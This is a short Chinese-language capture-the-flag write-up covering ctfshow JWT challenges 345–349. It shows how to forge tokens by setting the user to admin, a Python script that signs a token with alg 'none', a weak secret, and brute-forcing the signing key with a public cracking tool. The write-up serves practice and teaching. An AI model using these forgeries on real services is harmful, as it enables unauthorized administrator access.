ctfshow-web入门-jwt

web 345

注释中有/admin 这里访问 xxxxx.com/admin 会显示404 是因为服务器先去找根目录有没有admin这个文件 访问 xxxx.com/admin/ 是访问admin目录下的index.php 所以要用/admin/

然后查看cookie 用jwt.io网站解密 file 然后修改user为admin 注意可以修改的时候没有自动加密 可以看看那里alg是不是为none 如果是的话改成HS256 然后将改过的放到cookie中访问/admin/

web346

JWT中alg字段如果为None,签名会被置空,所有的token都是有效的 初始cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzYwNjM1NSwiZXhwIjoxNjI3NjEzNTU1LCJuYmYiOjE2Mjc2MDYzNTUsInN1YiI6InVzZXIiLCJqdGkiOiJhOWQ0MTI4MDEyNjM1YTYyZTdjZDlhZGNjZDEwZDU5NSJ9._cQ5s72j4hzuoq3PB0zc5URdPpMRJdpsbfLTB88qnaw

在jwt.io上解密

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iss": "admin",
  "iat": 1627606355,
  "exp": 1627613555,
  "nbf": 1627606355,
  "sub": "user",
  "jti": "a9d4128012635a62e7cd9adccd10d595"
}

jwt.io上设置alg为none时不能自动生成 所以用python脚本自己修改

import jwt

# payload
token_dict = {
  "iss": "admin",
  "iat": 1627606355,
  "exp": 1627613555,
  "nbf": 1627606355,
  "sub": "admin",
  "jti": "a9d4128012635a62e7cd9adccd10d595"
}

headers = {
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "",  # 进行加密签名的密钥
                       algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       headers=headers 
                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       )

print(jwt_token)

修改cookie即可

web347

弱口令123456 file

web348

jwt秘钥爆破 https://github.com/Ch1ngg/JWTPyCrack

file

1.txt为秘钥字典 秘钥为aaab 然后就伪造就可以

web349


ctfshow-web入门-jwt
http://example.com/2021/07/28/OldBlog/ctfshow-web入门jwt/
作者
Autumn
发布于
2021年7月28日
许可协议